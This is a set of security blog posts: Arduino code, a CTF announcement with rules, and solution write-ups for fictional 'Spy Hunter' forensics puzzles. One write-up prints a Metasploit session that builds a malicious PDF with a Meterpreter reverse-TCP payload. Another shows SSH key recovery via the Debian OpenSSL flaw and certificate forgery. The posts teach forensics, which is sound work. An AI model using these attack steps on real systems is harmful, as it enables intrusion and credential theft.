		ldrIsThresholdLow = true;
		Serial.print( "OK#" );
	}
	else if( message.startsWith( "LDRHIGH" ) )	// Adjust LDR
	{
		LDRThreshold = ldrHighThreshold;
		ldrIsThresholdLow = false;
		Serial.print( "OK#" );
	}	
	else if( message.startsWith( "FSRSLOW" ) )	// Adjust FSR
	{
		fsrMetro.interval( fsrSlowPoll );
		fsrFastPolling = false;
		Serial.print( "OK#" );
	}
	else if( message.startsWith( "FSRFAST" ) )	// Adjust FSR
	{
		fsrMetro.interval( fsrFastPoll );
		fsrFastPolling = true;		
		Serial.print( "OK#" );
	}	
	else if( message.startsWith( "REMOTEON" ) )	// Toggle remote management ON
	{
			numModesActive = dispModesRemoteOn;
			remoteManagementActive = true;
			digitalWrite( lcdLED2, HIGH );						
			Serial.print( "OK#" );
	}
	else if( message.startsWith( "REMOTEOFF" ) )	// Toggle remote management OFF
	{
			numModesActive = dispModesRemoteOff;
			remoteManagementActive = false;
			digitalWrite( lcdLED2, LOW );						
			Serial.print( "OK#" );
	}
	else if( message.startsWith( "07:" ) )	// Set phone number
	{
		listeningOn = message;
		Serial.print( "OK#" );
	}		
	else if( message.startsWith( "RESET" ) )	// Resets all the traps
	{
		resetTraps();
		Serial.print( "OK#" );
	}		
	else if( message.startsWith( "HEALTH" ) )	// Outputs health only
	{
		Serial.print( health );
		Serial.print( "#" );
	}			
	else
		Serial.print( "Uknown!" ); 

	// Done with the message now
	serialInput = "";
	serialInputMessageComplete = false;
}

In part two of this post, I’ll delve into TempEx One and its control unit – stay tuned! In the meantime, perhaps you’d like to get yourself an Arduino and start tinkering?


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Adventures of Packet Tracy, PI – The Case of the Disappearing Delicacy

Posted in Packet Challenge, Packet Tracy on 15 February, 2013 by Alec Waters

bsideslondon

Welcome to my latest challenge, part of the run-up to BSides London 2013. It’s a bit different this time, both in terms of what you have to do and what you get if you do it. The prizes on offer are tickets to the event, with a special prize of a ticket to Hack In Paris for the best entry! Full rules and T’s&C’s are at the end of this post.

Are you sitting comfortably? Then let’s begin…

packettracy
My name’s Tracy, Packet Tracy. I’m a PI. It says so on my door. Last Tuesday my door was locked because I was out for lunch. Some people only take an hour for lunch, but I do my best work at lunchtime so I take the whole day. As usual I headed for Fat Dex’s Diner on the West Side. Gotta be careful not to confuse it with the oil refinery; the place is covered in a film of grease, and Fat Dex ain’t called Fat Dex for nothing.

I slid in through the front door, tripping over tumbleweeds left and right. I had my choice of tables – the last time this joint was full Kennedy was on the throne and Fat Dex was just called Dex. Even so, lately there are so many tumbleweeds I worry they’re planning some kind of global uprising. Better stock up on weedkiller.

Wendy comes over with something she claims is coffee, but I suspect it’s actually come from the refinery. I ask her for my usual zeppelins in a fog, but when she brings them over it looks like they’ve come from Lakehurst field instead of the kitchen. Oh the humanity.

I can hear Dex crashing about out back. Clearly something is rotten in the state of Dexmark, which is usually my cue to leave before Dex and the Knuckleduster Twins politely ask me to pay my tab. In between tripping over tumbleweeds and slipping on grease he manages to get the jump on me and we sit down for a gentlemanly discussion. He looks stressed and he’s sweating. More than usual. Which is a lot.

Dex says takings are down and the Fatelli brothers are on his back and unless he turns things around soon they’ll be breaking it. He says it’s not his fault, but it never is. According to Dex only San Andreas has faults.

This time he might be right. Some new joint called Iggy’s Eats has opened up on the East Side, and Dex can’t compete. He says they’ve got more money than he has grease, and they’ve got a brand new three-storey R&D facility that’s kicking out some kind of seafood dish that people come from miles around to hook. If that wasn’t bad enough he says they’ve stolen his secret recipe for cheese on toast. 

Before I can tell him that particular recipe ain’t so secret, he says he’s got proof that’ll send Iggy and her Eats down the river to Sing Sing quicker than you can play a song song. Wendy’s culinary talents are below par because she’s tired – she’s been on a nocturnal special op on behalf of Dex. She got close to Iggy’s top guy Jamie and was able to go through his drawers once she was done going through his drawers. She came back with a USB stick with Dex’s stolen cheese on toast recipe on it, enough proof to get Iggy a private room in the State’s finest long-term accommodation facility. But there’s a problem that’s stickier than Dex’s tables – the recipe’s encrypted. According to Wendy the password is in a safe in Iggy’s private office, and not even a team of invisible ninjas is getting in there.

So that’s what Dex is after – he needs me to decrypt the stick and get the proof that Iggy has stolen his recipe. It was a tough case, but you don’t call a PI for the easy ones…

For all you budding PIs out there, the question we need answered is very simple. The crime of corporate espionage has been committed, but who stole the recipe and who will end up in the dock? Iggy? Jamie? Someone else? You’ll need to conduct a thorough investigation and write up your evidence so PT can take it all to the Judge. When you’re done, you can submit it via email here.

Before we give you the USB stick, please take a moment to read the rules:

  1. You cannot enter if you are a volunteer for this event or a member of the BSidesLondon crew
  2. You must submit your answer by April 1st 2013 18:00 (6pm) GMT
  3. The first three people to submit the correct answer showing all the steps taken to determine the guilty party will get a ticket to BSidesLondon13
  4. After the closing deadline the best answer will get a ticket for Hack In Paris 2013, a ticket to BSidesLondon13 (if required) plus a further winner of BSidesLondon13 tickets will be selected from all those who have submitted a correct and complete answer. These winners will be decided on criteria including the thoroughness and completeness of the presented investigation, and/or the use of an appropriate narrative style
  5. Judge’s decision is final and prizes can’t be exchanged for cash or favours ;-)
  6. This challenge will involve you interacting with live systems via the Internet. If the system’s name doesn’t end in wirewatcher.net, you’re in the wrong place and you should stop.
  7. The only tool you need to dish up the dirt is your brain – step away from the BackTrack laptop and use GreyMatter 1.0 instead. Any forceful attempts to “hack” the challenge systems may result in it being taken offline prematurely, which would be a shame. All necessary information is provided for you – all you need to do is find it!
  8. For data protection purposes, names and email addresses of participants will only be used for the challenge, and will be shared with the challenge creator only for the purpose of selecting the best answers. You have Packet Tracy’s cast-iron no-spam guarantee!
  9. All characters, organisations and other such entities featured in the challenge are fictitious. Any resemblance to real persons, living or dead, is purely coincidental.
  10. Play nice and have fun, and please don’t share any answers with anyone!

Ready? You can download the USB stick image here.

If you need any hints, you can try asking PT himself, but he’s pretty tight-lipped, especially in public!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part III – Solution

Posted in Packet Challenge, Spy Hunter on 14 February, 2012 by Alec Waters

Part III was a different kind of challenge. For the first time, players were on the offensive, acting as Agents rather than reacting as Investigators. Out of over 220 downloads of the mission brief, only a single Yellow Sun agent managed to complete the challenge – hats off to Marcelo Mandolesi, Agent Of The Month! Marcelo’s excellent writeup is below, but first, a quick word from me:


Sponsor Alec! I hope you have fun with these challenges; I certainly have fun creating them! I’m running the 2012 Brighton Half Marathon on Sunday 19th of February in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

Now, over to Marcelo:

Discover how to access the GMTA website

Open up the OperationCHASTISE.pcap file with Wireshark and follow the TCP stream of the IRC packets. There we find the following URL.


This leads to: https://gmta.nybblecomms.42 which means we need to add the .42 top-level domain DNS servers to be able to browse to it. The DNS servers can easily be found here: http://wiki.42registry.org/page/Resolve. Run a nslookup gmta.nybblecomms.42 and we see that the IP address is 2001:6f8:608:7:221:5aff:feab:5144.


My ISP is not IPv6 friendly so that left me with making a Teredo tunnel. After some configuration I verified that I was able to browse IPv6 websites and could access the NybbleComms website. This shows the Teredo tunnel successfully working.


The trick was to change the type from “client” to “enterpriseclient” and adding a static route for all ipv6 traffic to use the Teredo interface with the following respective commands:

netsh interface Teredo set state enterpriseclient
netsh interface ipv6 add rouate ::/0 interface=10

(the interface number is listed at the beginning of the route print command’s output)

Take a look at the bottom of the website and we find that the GMTA’s public key is available for download here: https://gmta.nybblecomms.42/GMTA-CA.pem.

Discover the date and time of NybbleComms’ next test missile firing

Going back to the IRC conversation, we find that the time and dates of the missile firings are publicly known. Their support is kind enough to give us the notice.
The notice is written in the “Notices to Airmen” format. After some patient Googling, you can translate the message to say:

  • QWMLW = missile, gun or rocket firing will take place
  • Within a 40 nautical mile radius of the coordinates 52.132237 North 0.973028 East
  • EGUW = Wattisham Airfield (a military airport in Wattisham UK)
  • On February 18th 2012 from 10:00 AM to 10:30 AM UTC/GMT. This means that the launch time is at 10:00AM but the notice announcement lasts until 10:30.

Recover enough cryptographic material to allow the signing of a fake, but valid, MTP

Time to take a look at another TCP stream in the pcap file. Starting at packet number 220, we see some encrypted SSH traffic. I wonder what’s happening in IRC right when this starts. Go to packet number 217 and we find the dev support guy saying “Let me transfer that private key for you”.


It seems that this is our chance to get a copy of the GMTA’s private key which will allow us to sign the public key retrieved from the website. The dialog in IRC tells us that the dev support guy keeps a copy of the private key on his Ubuntu Gutsy and gives us a clue that this is very vulnerable. Doing some searches for SSH vulnerabilities around 2007-2008 leads us to this: http://www.debian.org/security/2008/dsa-1571 which states:

Luciano Bello discovered that the random number generator in Debian’s openssl package is predictable. This is caused by an incorrect Debian-specific change to the openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable.

Doing some more searches leads us to these set of tools: https://www.cr0.org/progs/sshfun/ designed to take advantage of this vulnerability. First you have to export only the SSH packets from Wireshark and use the tool tcpick to split the traffic into server and client streams. Running the ssh_decoder.rb file on these two files lets us see the normally encrypted SSH traffic.

The data that is relevant for us is stored in the sshdecrypt.1.client.dat file because the client transferred the key to the server. Note that the Ruby script required the –c switch which means that the client is vulnerable, not the server. By running strings on the .dat file we have the private key as well as his username and password.

Discover the location of the BATCAVE

The briefing document gives a clue that the re-examining the social media profiles of SIBHOD operatives may be useful. It appears that Ultra Venona has tweeted this link: http://j.mp/xzxmfW which leads to a SQL 2008 Express database. Take a look inside and we find a database called placesDB with the following information.


The location of the BATCAVE is stored in this database in SQL’s geography data type. We can use the STAsText method to convert the binary data to readable form.

The coordinates of the BATCAVE are 52.106428 North 1.58205 East. It appears to be an underground bunker on the East coast of England. Notice that this bears resemblance to the SIBHOD logo.


Assembling the MTP certificate

First we have to setup our openssl environment. Note I will skip a lot of the detail in configuring the openssl configuration file. Copy an existing openssl.cnf from the web and edit it to use the GMTA’s public and private keys.

Certificate = GMTA-CA.pem
private_key = GMTA-CA.key.pem

Configure the NotBefore and NotAfter times of the certificate by adding the following two lines to the [ CA_default ] section of openssl.cnf. Since the launch is at 10:00 AM I chose 09:56AM and 10:04AM as my start and end dates.

default_startdate = 120218095600Z
default_enddate = 120218100400Z

Add the following information to the [ req_distinguished_name ] section of openssl.cnf. The OU field should equal “WARHEAD-FAE” because thermobaric explosives are effective against underground bunkers. The CN field should equal “52.106428×1.58205” for the coordinates of the BATCAVE. The rest of the fields do not matter but I made them match the GMTA’s public key.

[ req_distinguished_name ]
0.organizationName = NybbleComms
organizationalUnitName = WARHEAD-FAE
localityName = Guildford
stateOrProvinceName = Surrey
countryName = GB
commonName = 52.106428×1.58205

The following section will configure the X509v3 extensions which will make the Authority Key Identifier equal the GMTA’s cert.

[ usr_cert ]
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer

Run this command to create a certificate request:

openssl req -new -nodes -out req.pem -config openssl.cnf

Run this command to create the certificate and sign it:

openssl ca -out MTP.pem -config openssl.cnf -infiles req.pem

Convert the pem file to der format:

openssl x509 -in MTP.pem -outform der -out MTP.der

View the contents of the certificate:

openssl x509 –in MTP.der –inform –text -noout

The Authority Key Identifier matches and all the other required fields look good too.

Upload the MTP to the Guided Missile Targeting Authority

The GMTA website requires a Userid and Password field as well as the MTP certificate.

Packet number 395 in the pcap file contains MySQL traffic with a username and password of “launchmaster” and “one2ThreeBOOM”.


Supply the certificate and these credentials and we verify that it has accepted our forged certificate.



Nice shot, Marcelo! The question now is, will NybbleComms notice the unauthorised MTP in time to revoke it? Or will Yellow Sun finally be rid of their two greatest threats? Stay tuned for Part IV!

Bootnotes

The abbreviation-laden NOTAM retrieved from the IRC chat reveals the location of NybbleComm’s launch site, correctly identified by Marcelo as RAF Wattisham. Taking a closer look at the site reveals the missile sitting on its pad:

The layout of the pads is that of a Bloodhound surface-to-air missile installation; you can read all about this specific one here.

As for the location of the BATCAVE, it’s actually the site of an experimental over the horizon radar system codenamed Cobra Mist; the BATCAVE itself is at the focal point of the antenna array. The radar itself was a failure, despite a nine-figure price tag.

Finally, the real Operation CHASTISE was this one, which I imagine a lot of people are familiar with.

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part III

Posted in Packet Challenge, Spy Hunter on 24 January, 2012 by Alec Waters

From the mission brief:

Operation CHASTISE – Strategic Aims
Subvert NybbleComms’ next missile test, replacing the inert test warhead with a live one and targeting the BATCAVE. The net effect will be the physical destruction of SIBHOD, and the discrediting of arch-rival NybbleComms as a business competitor for allowing a test firing to go so badly wrong… 

Yellow Sun Heavy Industries have been playing catchup ever since Donald Burgess was recruited by the Sinister Icy Black Hand Of Death. Now, at last, a chance has arisen to strike decisively and put an end to Yellow Sun’s two biggest threats. Do you have the skills to carry out the mission successfully? Click here to find out!

PS…

Sponsor Alec! I hope you have fun with these challenges; I certainly have fun creating them. If you were wondering how you could possibly say “thankyou”, I’m running the 2012 Brighton Half Marathon in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part II – Solution

Posted in Packet Challenge, Spy Hunter on 14 August, 2011 by Alec Waters

The Spy Hunter, Part II is here. There’s an epilogue to the story here which will make more sense once you’ve read this post!

As with last time, we had a good number of entries to the challenge. It was a very close call, but the winner this time is Jeff Gibat! Well done Jeff; honorable mentions also go to Sairon Istyar, Marcelo Mandolesi and John Douglas.

Before going over Jeff’s answers, I’ll first go over the process needed to dissect the supplied pcap. My aim for the challenge was to require quite a diverse skillset in order to root out all the answers, including:

  • pcap analysis
  • IE cache forensics
  • Malware reverse engineering
  • Audio steganography
  • Relational database analysis

Opening the pcap in Wireshark and nosing around a little, we can see that we’re dealing with a stream of TFTP traffic between two hosts, 192.168.93.3 and 192.168.88.56:

If we apply a display filter of “tftp.opcode == 2″ (“Write Request”), we can see that three files have been transferred, namely:

  • ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
  • SHOPPINGLIST.7z
  • IECache.7z

The trick now is to extract these three from the capture. Wireshark doesn’t seem to be great at this, but there are several other tools which are including NetworkMiner, Xplico and TFTPgrab. Extra points to John Douglas who went above and beyond the call of duty and wrote his own parser to carve the three files out.

Loading the capture into NetworkMiner shows the three files it has extracted on the “Files” tab. Note that the wav file has had its filename truncated to twenty characters, which is a shame because the filename is a clue!

NetworkMiner will conveniently save these files for you in subdirectories under the AssembledFiles directory. Let’s examine the three in turn:

  • ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
    This is a well formed wav file, but when you play it it’s not exactly tuneful.
  • SHOPPINGLIST.7z
    This is a well formed 7z archive, but it’s password protected.
  • IECache.7z
    Again, this one is a well formed 7z archive, but there’s no password protection here.

The third file is the low-hanging fruit at this point, so we’ll tackle it first. As hinted by the filename, it does indeed contain an IE Cache directory (mercifully quite a small one!). There are any number of tools for performing cache forensics; IECacheView is one of them. By clicking Select Cache Folder from the File menu and specifying the directory where you unzipped the .7z file we can take a look:

The cache directory shows someone logging into a webmail interface at mail.email4espionage.spy. Two messages are read, the first of which looks like this:

Return-Path: dave.nice@email4espionage.spy
Received: from email4espionage.spy ([127.0.0.1])
by mail.email4espionage.spy
; Fri, 8 Jul 2011 21:41:20 +0100
MIME-Version: 1.0
X-Mailer: MailBee.NET 6.0.2.220
X-Priority: 3 (Normal)
From: "Dave Nice" <dave.nice@email4espionage.spy>
To: roberto.tablato@email4espionage.spy,
kerry.nitpick@email4espionage.spy,
guatrau@email4espionage.spy,
steve.austen@email4espionage.spy,
pete.michaels@roseandcrown.pub
Cc: dave.nice@email4espionage.spy
Subject: Re: SIBHOD and friends team day out
Date: Fri, 08 Jul 2011 21:41:20 +0100
X-Originating-IP: 127.0.0.1
Message-ID: <2.6b59ee93be36ce1bad15@SIBHOD-1>
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Hi all,
The final list of attendees will be:
* Myself
* Bobby (NOT Suzy!)
* Kerry
* Pete
* Garry
Steve's not coming of course, and the Guatrau says he'll meet us at the BATCAVE for beers afterwards.

Venue:
HAPPYLAND; meet on Saturday 16th at BLACK TWO at 1430. Garry's got us great seats for Kung Fu Panda 2! He also says that a COWABUNGA is in effect at SODIUM - let's eat first, and we can watch the film with plunder in hands!

The boring bit:
Following standard SIBHOD procedure, I am issuing a tentative UTOPIA to everyone for the duration of the outing. Please act like it - do not group up before reaching BLACK TWO. Sit in groups of no more than two at SODIUM.

The fun bit:
Come in fancy dress as one of the Furious Five. There will be a prize for the best outfit. I call Po!

See you next Saturday,
Dave

OK, sounds like a fun day out, and we’ve got some names, places and cryptic codewords to chew over as we go on.

The next email looks like notification of a Twitter DM:

This looks like the phishing message sent by Yellow Sun from @HomerHicks to @UltraVenona, bearing the recognition code “scelidosaurus” provided by Donald Burgess and the link provided by Keith Starr. The person whose IE cache we’re going through could therefore be @UltraVenona himself!

The  IE cache also shows that the link above was indeed clicked as Yellow Sun hoped it might be, and a file called TNM-Defect-943024.pdf was downloaded – this is the exploit supplied by Starr to compromise @UltraVenona’s machine. By analysing this file, we can determine what Starr’s intent was, but the short answer is that it’s a standard MetaSploit exploit:

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 721 exploits - 367 auxiliary - 74 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13543 updated today (2011.08.12)

msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.93.2
LHOST => 192.168.93.2
msf exploit(adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
msf exploit(adobe_cooltype_sing) > set FILENAME
TNM-Defect-943024.pdf
FILENAME => TNM-Defect-943024.pdf
msf exploit(adobe_cooltype_sing) > exploit

[*] Creating 'TNM-Defect-943024.pdf' file...
[*] Generated output file /home/user/.msf4/data/exploits/TNM-Defect-943024.pdf

When @UltraVenona opened this file with his vulnerable PDF reader, Keith Starr got a Meterpreter shell on @UltraVenona’s machine. The Yellow Sun strikeback is looking pretty good at this point!

Having dug about as deeply as possible into the IE cache it’s time to turn our attention to the other two files, the tuneless wav and the password protected SHOPPINGLIST.7z. Having to brute-force the password for the 7z isn’t really in the spirit of a packet challenge, so perhaps the password is present in the evidence somewhere. Let’s see where analysing the wav file gets us.

As I mentioned, there’s a clue in the filename of the wav file, which is present in full in the pcap – ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav. I’m sure that Spectrogram are indeed the Greatest Band The World Has Ever Known, but a spectrogram is also a visualisation of an audio signal. Several tools are available to render spectrograms of audio files, such as Spectrogram 5 which you can download here. Run it up, select Analyze File from the File menu, and load up our wav file. You’ll be treated to the view below:

Our little visualisation has revealed some text! Perhaps “IamJamesBond” is the passphrase to SHOPPINGLIST.7z? We’ll find that out in a minute – for now, here’s a quick explanation of how I created the wav.

First, I created a white on black image file containing the phrase IamJamesBond. Then I loaded it into Coagula with Open Image from the file menu:

Now select “Render without blue” from the Sound menu, and finally “Save Sound As” from the File menu. Load the resulting wav file into Spectrogram to see the goodness.

Right, back to the plot. Does IamJamesBond open up SHOPPINGLIST.7z? Why yes, it does! There’s only one file in the archive, called SHOPPINGLIST.db. Sounds like a database file, but what type?

morpheus:~# file SHOPPINGLIST.db
SHOPPINGLIST.db: SQLite 3.x database

There are many tools available for analysing SQLite databases, and SQLite Maestro is a very nice one. The first thing we need to do with any unknown database is determine its structure, in terms of tables, columns and foreign key relationships. SQLite Maestro makes this quite straightforward – select Designer from the Tools menu, then hit “Reverse Engineering” under General. You will be rewarded with a schema diagram a little like this:

I tried to make the database as meaningful and realistic as possible in terms of structure and foreign key naming conventions. There are straightforward one-to-many joins, like the one between the Person and the Photo table, which represent relationships like “one person may have many photos”. There are also self-referential foreign keys which reference the same table rather than another one, e.g. Person.Reports_To is a foreign key onto Person.ID – this represents the organisation’s hierarchy. The AgentPlacement and Employment tables facilitate many-to-many joins, representing, for example, the fact that a single agent can be placed in many organisations and also that a single organisation may have many agents in it. Have a nose around, especially in the Codewords table, and hopefully things will all make sense (including why the database itself is called SHOPPINGLIST!).

The bulk of the mission objectives can be fulfilled with careful analysis of the database, so without further ado we’ll move on to Jeff’s answer. Where Jeff has expanded out a codeword I will supply the original, and I will also give appropriate SQL statements to back up Jeff’s answers. I’ll use italics to differentiate.

Over to Jeff:

Determine how Starr took over UltraVenona’s computer. What exploit and delivery mechanism did he use?

  • Delivery mechanism: PDF
  • Exploit: javascript heap overflow in PDF. More info to come. I used Didier Steven’s pdfid and pdf-parser to extract the javascript. The Javascript which is called when the document is opened creates a large array in memory of what probably contains nop sleds and shellcode repeated. There was no exec() or other function call from the javascript so my initial hunch is that by allocating such a large amount of memory, it crashes the reader application and control finds its way to the shellcode.

Determine the name of the Adversary organisation. Are they a foreign intelligence service, or some other kind of organisation?

The Sinister Icy Black Hand of Death (greatest covert intelligence agency the world has ever seen) (Look in the Organisation table)

Determine if Yellow Sun is the Adversary’s only target, or if there are others

Other target: NybbleComms (Look in the Organisation table)

Determine the names and aliases of the agents employed by the Adversary, plus the Adversary’s organisational hierarchy

Name Alias_Name Notes
Dave Nice Ultra Venona Assigned by SIBHOD
Donald Burgess Homer Hicks Assigned by SIBHOD
Kerry Nitpick Arnold Davies Assigned by SIBHOD
Kerry Nitpick Keith Starr Known alias, used for non-SIBHOD business
Kerry Nitpick Rock Studman Self-defined nickname used in futile attempts to impress the ladies
Kerry Nitpick Scorpion Assigned by SIBHOD
Pete Michaels Argus Assigned by SIBHOD
Pete Michaels Pubmeister Nickname used by acquaintances and customers
Real name unknown The Guatrau Assigned by SIBHOD
Roberto Tablato Little Bobby Tables Assigned by SIBHOD
Roberto Tablato Silky Suzy Assigned by SIBHOD; only uses this alias on Friday nights at The Pink Oyster Social Club (MARKET)
Steve Austen Kim Philby Assigned by SIBHOD
Steve Austen Stanley Assigned by SIBHOD
Susan Jones Barbie Assigned by SIBHOD

SELECT
Person.Name, Alias.Alias_Name, Alias.Notes
FROM
Person
INNER JOIN Alias ON (Person.ID = Alias.Person_FK)
ORDER BY
Person.Name

Organizational Hierarchy:

Susan Jones reports to Pete Michaels
Pete Michaels, Donald Burgess, Kerry Nitpick, and Roberto Tablato report to Dave Nice
Dave Nice and Steve Austen report to The Boss (Name unknown).

SELECT
Person.Name as 'Person',
Boss.Name as 'Boss'
FROM
Person Boss
INNER JOIN Person ON (Person.Reports_To = Boss.ID)
ORDER BY
Boss.Name

Determine where these people have “day jobs”

Name Organization Name Job description
Dave Nice The Sinister Icy Black Hand of Death Agent handler. The best looking, most skilled operative on SIBHOD’s payroll haha
Donald Burgess Yellow Sun Heavy Industries Employed as a low-level tech support worker. Hasn’t been promoted in over ten years. Easily manipulated
Garry Francis MacDoddy’s Flips burgers
Garry Francis The Picture House Mans the popcorn booth
Kerry Nitpick The Sinister Icy Black Hand of Death Technical support (client side exploits)
Pete Michaels The Rose and Crown Pub Bartender
Real name unknown The Sinister Icy Black Hand of Death The Boss. Do what he says.
Roberto Tablato The Sinister Icy Black Hand of Death Technical support (web appsec)
Steve Austen The Sinister Icy Black Hand of Death Recruiter. Keeps his distance in order to remain covert long-term. Aside from New Potential Recruits (GREENHILLS), only The Guatrau has ever met him in person; possibly schoolfriends?
Susan Jones Yellow Sun Heavy Industries HR secretary dating Pete Michaels. Loves to gossip about co-workers. Abuses her position in HR to feed her addiction to gossip. Unwittingly supplies Michaels with useful information

SELECT
Person.Name,
Organisation.Name,
Employment."Job description"
FROM
Person
INNER JOIN Employment ON (Person.ID = Employment.Person_FK)
INNER JOIN Organisation ON (Employment.Organisation_Fk = Organisation.ID)
ORDER BY
Person.Name

Determine details of their cover placements in target organisations, their mission objectives, and which aliases are used for each placement

Name Alias_Name Organization Name Mission objectives
Kerry Nitpick Arnold Davies NybbleComms Embed backdoors into the guidance software of tactical cruise missiles from NybbleComms (CANDYSTORE). Once we have the ability to control an arbitrary missile in flight, the Guatrau wants a flashy joystick to go on his desk to fly them with
Roberto Tablato Silky Suzy The Pink Oyster Social Club Work Friday nights as a hostess – uses this position to get “close” to patrons for intel gathering and blackmail purposes. Just don’t ask how close he gets….
Pete Michaels Argus The Rose and Crown Pub Overhear the conversations of intoxicated Yellow Sun (GOLDMINE) employees. Use this together with intel from Barbie to supply New Potential Recruits (GREENHILLS) to Stanley
Donald Burgess Homer Hicks Yellow Sun Heavy Industries Obtain the plans to Project ThatsNoMoon from Yellow Sun (GOLDMINE). Short-term throwaway asset. Has extremely limited tradecraft, and is likely to be a liability once used – cut all ties immediately he delivers useful assets
Susan Jones Barbie Yellow Sun Heavy Industries Long-term asset. Has no idea she’s being used by Argus to supply information on Yellow Sun (GOLDMINE) employees.

SELECT
Person.Name,
Alias.Alias_Name,
Organisation.Name,
AgentPlacement."Mission objectives"
FROM
AgentPlacement
INNER JOIN Organisation ON (AgentPlacement.Organisation_Fk = Organisation.ID)
INNER JOIN Alias ON (AgentPlacement.Alias_FK = Alias.ID)
INNER JOIN Person ON (Alias.Person_FK = Person.ID)

If possible, determine what the agents look like

Donald Burgess

Donald Burgess

Roberto Tablato

Roberto Tablato

Roberto Tablato as Silky Suzy

Roberto Tablato as Silky Suzy

Dave Nice

Dave Nice

Pete Michaels

Pete Michaels

Kerry Nitpick

Kerry Nitpick

Susan Jones

Susan Jones

Garry Francis

Garry Francis

(Get this lot out of the photo table)

If possible, speculate on the means by which Burgess was identified and recruited, and the existence of Project ThatsNoMoon leaked

Burgess AKA Homer Hicks was probably identified and recruited while drinking at the Rose and Crown Club

If any arrests are to be made, when and where might be best to round up as many members of the Adversary at once?

SIBHOD and friends team day out!

The Picture House Cinema on the High Street (HAPPYLAND), Saturday the 16th Popcorn Stall (BLACK TWO) at 2:30. Mac Doddy’s (SODIUM) is giving away Kung Fu Panda toys in their happy meals (COWABUNGA), so they will eat there first.

Everyone will be suspected compromised for the duration of the outing (UTOPIA). They will not group up before reaching the popcorn stall.  Won’t sit in groups of more than 2 at MacDoddy’s.

Attendance should be: Dave, Bobby, Kerry,Pete, and Garry

Speculate on the reason for Starr’s sudden exit and subsequent disappearance

Starr (Kerry Nitpick) became tense and agitated and exited because once he started inspecting the data he realized that his employer, SIBHOD, was the adversary, and the person he just hacked, ULTRAVENONA, is actually his boss, Dave Nice!


Great work, Jeff! Despite Yellow Sun’s total vetting failure in employing Keith Starr aka Kerry Nitpick, they have totally unpicked SIBHOD’s operations. The only question now is what they will choose to do with this information – stay tuned for Part III!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part II – Epilogue

Posted in Packet Challenge, Spy Hunter on 10 August, 2011 by Alec Waters

Kerry Nitpick wanted to run. But to do so would be to draw attention to himself, to “show out” as the pavement artists call it. He did not know if the surveillance team following him was real or merely in his imagination, but either way he was certain they were there.

They’d probably been on him since he left Yellow Sun HQ thirty minutes ago. YS hadn’t trusted him from day one – they’d likely been watching him ever since. The team was probably plotted up away from the building; no need to have their own eyes-on in such a controlled environment. That goon in the security hut at the gate must have been the trigger.

An aware target masquerading as an unaware one, Kerry strained his hearing, trying to hear them on their radios.

RED has the eyeball
GREEN backing
BLUE, I’m on the other side of the street

Despite the odds, the advantage was still his. He knew that as he turned left onto Laker Street they’d do their silly little dance, same as always, regular as clockwork.

RED, Target is approaching nearside turn onto Laker Street
BLUE moving up to cover

He’d be able to see Blue now if he looked over his right shoulder. He considered taking an extra step or two before turning the corner just to rattle them, but that would have tipped them off that he knew they were there. “Never let them know that you know,” Dave always used to say, “That’s Rule #1.” Rule #1 changed with the wind, but this one had held the title at least once.

He turned left onto Laker Street.

RED that’s the target Left Left onto Laker Street; handover
BLUE has the eyeball. Target proceeding, corner is clear
GREEN turning Left Left; I have the eyeball
BLUE backing
RED, I’m on the other side of the street

Laker Street was routinely pounded by suburban traffic, rattling the sash windows of the tall Victorian homes on the left hand side. Most properties had basements with steps leading down from the street; RED ONE was one such basement flat, number 221b. As he passed it he looked as closely as he could without turning his head. Everything seemed in order, but he certainly wasn’t going in through the front door. RED ONE was chosen for a very good reason, one which the surveillance team was soon to discover to their cost.

Leaving the steps to RED ONE behind, he maintained his pace but quickened his thoughts. The next left turn onto Kingsway had to be just right – he’d have three or four seconds tops to evade his pursuers. The window was tight, but terrain was on his side.

GREEN, Target is approaching nearside turn onto Kingsway
RED There’s no more footpath – I can’t move up to cover the corner! There’s too much traffic for me to step into the road
GREEN, That’s understood. If the Target takes the nearside turn I’ll clear the corner myself and we’ll carry out cornering drill without you. Catch up when you can
RED, That’s received

With Red neutered by the short footpath, Kerry turned left onto Kingsway, passing the corner shop. As he did so he removed his jacket and increased his walk almost to a jog.

GREEN that’s the Target Left Left onto Kingsway. Temporarily unsighted

Out of sight of the surveillance team, Kerry turned left one last time into the alleyway alongside the corner shop. Running now, he made for the rubbish bin that stood in front of the six foot gate that blocked further passage and obscured the alley’s access to the rear of the properties on Laker Street.

GREEN, I’m crossing Kingsway. No sign of Target. Loss, Loss

Lent by adrenaline the agility of a fitter man, he leapt onto the bin and threw his jacket over the thin strand of barbed wire that topped the gate. He hauled himself over and down the other side, tugging the shredded remains of his jacket behind him.

BLUE turning Left Left onto Kingsway. No sign of Target. Loss, Loss

Moving down the alleyway to the rear entrance of number 221b, the surveillance team’s comms chatter faded to silence.

GREEN, Total Loss, Total Loss. Commence search pattern

